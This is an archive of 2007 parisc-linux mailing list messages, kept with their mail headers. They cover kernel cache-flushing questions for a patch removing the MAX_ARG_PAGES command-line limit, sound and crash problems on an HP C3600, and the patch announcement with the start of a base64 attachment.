X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hBpdLGI/aHI+m6WnKSUlXNJqamdhZIQB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24524

On Thu, 2007-05-03 at 14:47 -0500, James Bottomley wrote:
> On Thu, 2007-05-03 at 10:55 -0700, Ollie Wild wrote:
> > This doesn't work because we're copying between two different
> > mm_struct's.  Since we can't have both active at the same time, we
> > need to setup some sort of temporary mapping.
> > 
> > I could maybe check the vma boundaries and create new pages in the
> > kernel, but I still need to assign them to the process space to make
> > them swappable.  Since some binfmt's remove args, I'll also
> > potentially need to reload old pages, which means copy_strings() will
> > still need to call get_user_pages() to retrieve potentially swapped
> > out pages.
> 
> OK, then you'll just have to go with flush_cache_page() ... it should be
> reasonably efficient on parisc since I modified it to do non-current
> flushing (which is really what you're doing).  However, you should be
> aware that the original parisc implementation threw up its hands and
> flushed the entire cache if it found a non-current page ... so if any
> other architecture still does that, it will be remarkably inefficient
> for you ...

I think this is best; if we were to go with a parisc specific API here,
all other arches that hit this will be in pain. Better fix their
flush_cache_page() if and when it really is a problem.

Ollie, how about posting this to lkml, and get some feedback, now that
its mostly complete.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] memory management issues
Date: Wed, 02 May 2007 19:52:12 -0500
Lines: 50
Approved: news@gmane.org
Message-ID: <1178153532.3712.39.camel__1164.15727320618$1416624352$gmane$org@mulgrave.il.steeleye.com>
References: <65dd6fd50704301144k77003d1he9f85f4bb6cf2ace@mail.gmail.com>
	<1178149192.3712.28.camel@mulgrave.il.steeleye.com>
	<65dd6fd50705021652s3b3b721dl6a8323259cd4efa9@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624352 23745 80.91.229.3 (22 Nov 2014 02:45:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:52 +0000 (UTC)
Cc: Peter Zijlstra <a.p.zijlstra@chello.nl>,
 parisc-linux@lists.parisc-linux.org
To: Ollie Wild <aaw@google.com>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 May 2007 00:52:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 03 May 2007 02:52:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7663E7DB96;
	Wed,  2 May 2007 18:52:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26031-02; Wed, 2 May 2007 18:52:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 04CBF7DB92;
	Wed,  2 May 2007 18:52:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 14BF37DB6F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 May 2007 18:52:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23703-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 2 May 2007 18:52:18 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 65A447DB5D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 May 2007 18:52:18 -0600 (MDT)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l430qDk25417; 
	Wed, 2 May 2007 20:52:13 -0400
In-Reply-To: <65dd6fd50705021652s3b3b721dl6a8323259cd4efa9@mail.gmail.com>
X-Mailer: Evolution 2.8.3 (2.8.3-2.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HEdYIiM2a0Aom76aejEzivw3Njh6dI5J
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24525

On Wed, 2007-05-02 at 16:52 -0700, Ollie Wild wrote:
> > Give me more of a clue on this one ... afterwards *who* sees the pages
> > as zero'd?  The user or the kernel ... if the user, I think it's a
> > simple coherency problem.
> 
> Ah, I should have been more clear.  I scattered a bunch of code
> similar to this throughout the kernel:
> 
>   {
>     struct page *page;
>     char * addr;
> 
>     get_user_pages(current, bprm->mm, bprm->p, 1, 0, 1, &page, NULL);
>     addr = kmap(page);
>     printk("page = %p, bprm->p = %016lx\n", page, bprm->p);
>     printk("%s: %d: \"%s\"\n", __FUNCTION__, __LINE__, addr);
>     kunmap(page);
>     put_page(page);
>   }
> 
> I observed that after the activate_mm() call, page and bprm->p were
> unchanged, but the string at addr switched from the executable name to
> the null string.

Well, it seems to be a classic case of missing flushing ... however,
because of the way you've altered the page allocation, it's incredibly
subtle.  You no longer use alloc_page() to get the page, you use
expand_stack on an anonymous vma.  The first thing this does is
immediately decohere the page because we zero it through the user
mapping before adding it to the vma.  Fortunately get_user_pages()
should make it coherent again.  however, you need to
flush_kernel_dcache_page() before kunmap() I think

> I thought that caching might play a role, so I added
> flush_dcache_page() calls after the kunmap's, but that didn't help.

It likely wouldn't ... on most architectures, flush_dcache_page() can do
strange things on non file backed areas ... although most of the time it
should call flush_kernel_dcache_page() anyway.  Try
flush_kernel_dcache_page() first and I can think further if that fails.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Julian Stecklina <der_julian@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Sound problems on a C3600
Date: Tue, 08 May 2007 15:13:20 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <46407770.3040302__1720.02374097264$1416624352$gmane$org@web.de>
References: <462A3C0D.8090004@web.de>	
	<7d01f9f00704212103q1c6f8d42lc275946dceb8a893@mail.gmail.com>	
	<463F732D.6050904@web.de>
	<7d01f9f00705071531n6d5d045i365ddeb2074c6e5f@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624352 23748 80.91.229.3 (22 Nov 2014 02:45:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 May 2007 13:13:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 08 May 2007 15:13:34 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C1DEE7DC20;
	Tue,  8 May 2007 07:13:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31010-09; Tue, 8 May 2007 07:13:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9E75F7DBB5;
	Tue,  8 May 2007 07:13:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D3BC37DBB9
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 May 2007 07:13:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30428-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 8 May 2007 07:13:22 -0600 (MDT)
Original-Received: from mailout1.zih.tu-dresden.de (mailout1.zih.tu-dresden.de
	[141.30.67.72])
	by free.linux.hp.com (Postfix) with ESMTP id 019F17DBB5
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 May 2007 07:13:22 -0600 (MDT)
Original-Received: from rmc67-31.zih.tu-dresden.de ([141.30.67.31] helo=server-n)
	by mailout1.zih.tu-dresden.de with esmtp (Exim 4.63)
	(envelope-from <der_julian@web.de>)
	id 1HlPVI-0006tN-VE; Tue, 08 May 2007 15:13:21 +0200
Original-Received: from [192.168.0.250] (efficio.wh29.tu-dresden.de [141.30.207.25])
	by server-n (Postfix) with ESMTP id 96EC7100A782;
	Tue,  8 May 2007 15:13:20 +0200 (CEST)
User-Agent: Thunderbird 1.5.0.10 (X11/20070221)
In-Reply-To: <7d01f9f00705071531n6d5d045i365ddeb2074c6e5f@mail.gmail.com>
X-TUD-Virus-Scanned: mailout1.zih.tu-dresden.de
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: EQIpdcUPeWU3n62TZm9nCS4rL0tsZg1X
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24526

Thibaut VARENE wrote:
> On 5/7/07, Julian Stecklina <der_julian@web.de> wrote:
>> Tests done using the onboard AD1889 without any .asoundrc:
>>
>>  > mplayer -ao oss ...
>> ...
>> AO: [oss] 44100Hz 2ch s16be (2 bytes per sample)
>> ...
>> Works!
> 
> Expected
> 
>>  > mplayer -ao alsa ...
>>
>> Doesn't work, noise. (Endian problem? Mplayer's fault?)
> 
> Expected

Why is that?

> If by 'signaling issue' you mean the random crash when doing ctrl-C, I
> don't know if it's fixed. The best way to check is to try ;)

My kernel crashes. :-/

Regards,
Julian
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Sound problems on a C3600
Date: Tue, 8 May 2007 17:00:52 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <7d01f9f00705080800tee6623fpa1329d546049d80a__11072.9874497794$1416624353$gmane$org@mail.gmail.com>
References: <462A3C0D.8090004@web.de>
	<7d01f9f00704212103q1c6f8d42lc275946dceb8a893@mail.gmail.com>
	<463F732D.6050904@web.de>
	<7d01f9f00705071531n6d5d045i365ddeb2074c6e5f@mail.gmail.com>
	<46407770.3040302@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624353 23753 80.91.229.3 (22 Nov 2014 02:45:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Julian Stecklina" <der_julian@web.de>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 May 2007 15:01:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx089) with SMTP; 08 May 2007 17:01:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 85B327DC41;
	Tue,  8 May 2007 09:01:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32114-10; Tue, 8 May 2007 09:01:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 499697DC51;
	Tue,  8 May 2007 09:01:06 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D4E267DC00
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 May 2007 09:01:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32114-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 8 May 2007 09:01:01 -0600 (MDT)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.232])
	by free.linux.hp.com (Postfix) with ESMTP id E5C7B7DBA8
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 May 2007 09:01:00 -0600 (MDT)
Original-Received: by wr-out-0506.google.com with SMTP id i4so2298754wra
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 08 May 2007 08:00:57 -0700 (PDT)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=Zg9p/WPw3XOaIjarvkvAs2/QZdVe8kgUJGE7QXUQFDuku7TtlUuEW/a6d6iV45tKZV5BHNzZkPPPQKuWcVdFS85b+rsSfPYKJAobE3bsUlLq7b+QR+vI8asCzHvpOFp5WQa1KJMeOV7h8dFQDpl7qZAvTaFIbKCbtKBXE0ggwQg=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=UCKx/tZfnn87aUlRVnXBnbfO2x8bPVb0/W4ve6rTcDtzaXWWadlkV7wun13uRhh8t9/D8Z5dC5+cmIQowcKNbp+YGCnI+bAZ14lvKZXLy9hXxP6OtcUJX8TgiQ7nDQziSDl1c2SEKa6r842HnCBwsmnbB+56Z1doZ/MPnZ7xsb0=
Original-Received: by 10.100.126.2 with SMTP id y2mr413939anc.1178636452677;
	Tue, 08 May 2007 08:00:52 -0700 (PDT)
Original-Received: by 10.100.133.10 with HTTP; Tue, 8 May 2007 08:00:52 -0700 (PDT)
In-Reply-To: <46407770.3040302@web.de>
Content-Disposition: inline
X-Google-Sender-Auth: 419f2ae7f3441ab2
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gad1choDTiEth6yUaGRwQlx1ZUVSRFd3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24527

On 5/8/07, Julian Stecklina <der_julian@web.de> wrote:
> Thibaut VARENE wrote:

> >>  > mplayer -ao alsa ...
> >>
> >> Doesn't work, noise. (Endian problem? Mplayer's fault?)
> >
> > Expected
>
> Why is that?

Because it never worked in the first place, and I asserted the driver
wasn't at fault by testing it on another platform (namely PowerPC).

> > If by 'signaling issue' you mean the random crash when doing ctrl-C, I
> > don't know if it's fixed. The best way to check is to try ;)
>
> My kernel crashes. :-/

Well then, that's one more bug we still have... ;-P

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ollie Wild" <aaw@google.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [patch] removes MAX_ARG_PAGES
Date: Sun, 6 May 2007 01:51:34 -0700
Lines: 874
Approved: news@gmane.org
Message-ID: <65dd6fd50705060151m78bb9b4fpcb941b16a8c4709e__47697.4309691743$1416624353$gmane$org@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="----=_Part_33774_26921243.1178441494253"
X-Trace: ger.gmane.org 1416624353 23756 80.91.229.3 (22 Nov 2014 02:45:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:53 +0000 (UTC)
To: "Peter Zijlstra" <a.p.zijlstra@chello.nl>,
 linux-kernel@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org,
 linux-mm@kvack.org,
 linux-arch@vger.kernel.org,
 "Andrew Morton" <akpm@osdl.org>,
 "Ingo Molnar" <mingo@elte.hu>,
 "Andi Kleen" <ak@suse.de>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 May 2007 08:52:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx010) with SMTP; 06 May 2007 10:52:05 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E33617DC8E;
	Sun,  6 May 2007 02:51:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05423-08; Sun, 6 May 2007 02:51:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3A5277DC85;
	Sun,  6 May 2007 02:51:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B117A7DC7E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  6 May 2007 02:51:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05423-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 6 May 2007 02:51:49 -0600 (MDT)
Original-Received: from smtp-out.google.com (smtp-out.google.com [216.239.33.17])
	by free.linux.hp.com (Postfix) with ESMTP id B08767DC7D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  6 May 2007 02:51:48 -0600 (MDT)
Original-Received: from spaceape13.eur.corp.google.com (spaceape13.eur.corp.google.com
	[172.28.16.147]) by smtp-out.google.com with ESMTP id l468pgP4013374
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 6 May 2007 09:51:42 +0100
DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns;
	h=received:message-id:date:from:to:subject:mime-version:content-type;
	b=a1/CB4KG/uOX21vh+2U8kZLSpxfbjXU4Qz9kaEY8i/C/0X82XOrCVz6eNsiKk/7Qj
	9NOwsswsEY7O6XxvE2aUg==
Original-Received: from py-out-1112.google.com (pyia25.prod.google.com [10.34.253.25])
	by spaceape13.eur.corp.google.com with ESMTP id l468pY49010383
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 6 May 2007 09:51:35 +0100
Original-Received: by py-out-1112.google.com with SMTP id a25so1061692pyi
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 06 May 2007 01:51:34 -0700 (PDT)
Original-Received: by 10.35.62.19 with SMTP id p19mr8912584pyk.1178441494343;
	Sun, 06 May 2007 01:51:34 -0700 (PDT)
Original-Received: by 10.35.9.4 with HTTP; Sun, 6 May 2007 01:51:34 -0700 (PDT)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DqIPfj56Pjltz+rBOTU2HlkzMTE2NQkN
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24528

------=_Part_33774_26921243.1178441494253
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

A while back, I sent out a preliminary patch
(http://thread.gmane.org/gmane.linux.ports.hppa/752) to remove the
MAX_ARG_PAGES limit on command line sizes.  Since then, Peter Zijlstra
and I have fixed a number of bugs and addressed the various
outstanding issues.

The attached patch incorporates the following changes:

- Fixes a BUG_ON() assertion failure discovered by Ingo Molnar.
- Adds CONFIG_STACK_GROWSUP (parisc) support.
- Adds auditing support.
- Reverts to the old behavior on architectures with no MMU.
- Fixes broken execution of 64-bit binaries from 32-bit binaries.
- Adds elf_fdpic support.
- Fixes cache coherency bugs.

We've tested the following architectures: i386, x86_64, um/i386,
parisc, and frv.  These are representative of the various scenarios
which this patch addresses, but other architecture teams should try it
out to make sure there aren't any unexpected gotchas.

Ollie

------=_Part_33774_26921243.1178441494253
Content-Type: text/x-patch; name=no_MAX_ARG_PAGES.patch; 
	charset=ANSI_X3.4-1968
Content-Transfer-Encoding: base64
X-Attachment-Id: f_f1d7no2u
Content-Disposition: attachment; filename="no_MAX_ARG_PAGES.patch"

ZGlmZiAtLWdpdCBhL2FyY2gvdW0va2VybmVsL3RyYXAuYyBiL2FyY2gvdW0va2VybmVsL3RyYXAu
YwppbmRleCAyNmYxNWM0Li4wMjIwNDNlIDEwMDY0NAotLS0gYS9hcmNoL3VtL2tlcm5lbC90cmFw
LmMKKysrIGIvYXJjaC91bS9rZXJuZWwvdHJhcC5jCkBAIC02MCw4ICs2MCw2IEBAIGludCBoYW5k
bGVfcGFnZV9mYXVsdCh1bnNpZ25lZCBsb25nIGFkZHJlc3MsIHVuc2lnbmVkIGxvbmcgaXAsCiAJ
CWdvdG8gZ29vZF9hcmVhOwogCWVsc2UgaWYoISh2bWEtPnZtX2ZsYWdzICYgVk1fR1JPV1NET1dO
KSkKIAkJZ290byBvdXQ7Ci0JZWxzZSBpZihpc191c2VyICYmICFBUkNIX0lTX1NUQUNLR1JPVyhh
ZGRyZXNzKSkKLQkJZ290byBvdXQ7CiAJZWxzZSBpZihleHBhbmRfc3RhY2sodm1hLCBhZGRyZXNz
KSkKIAkJZ290byBvdXQ7CiAKZGlmZiAtLWdpdCBhL2FyY2gveDg2XzY0L2lhMzIvaWEzMl9iaW5m
bXQuYyBiL2FyY2gveDg2XzY0L2lhMzIvaWEzMl9iaW5mbXQuYwppbmRleCAxODUzOTliLi5hMjcz
MWZjIDEwMDY0NAotLS0gYS9hcmNoL3g4Nl82NC9pYTMyL2lhMzJfYmluZm10LmMKKysrIGIvYXJj
aC94ODZfNjQvaWEzMi9pYTMyX2JpbmZtdC5jCkBAIC0yMzIsOSArMjMyLDYgQEAgZG8gewkJCQkJ
CQlcCiAjZGVmaW5lIGxvYWRfZWxmX2JpbmFyeSBsb2FkX2VsZjMyX2JpbmFyeQogCiAjZGVmaW5l
IEVMRl9QTEFUX0lOSVQociwgbG9hZF9hZGRyKQllbGYzMl9pbml0KHIpCi0jZGVmaW5lIHNldHVw
X2FyZ19wYWdlcyhicHJtLCBzdGFja190b3AsIGV4ZWNfc3RhY2spIFwKLQlpYTMyX3NldHVwX2Fy
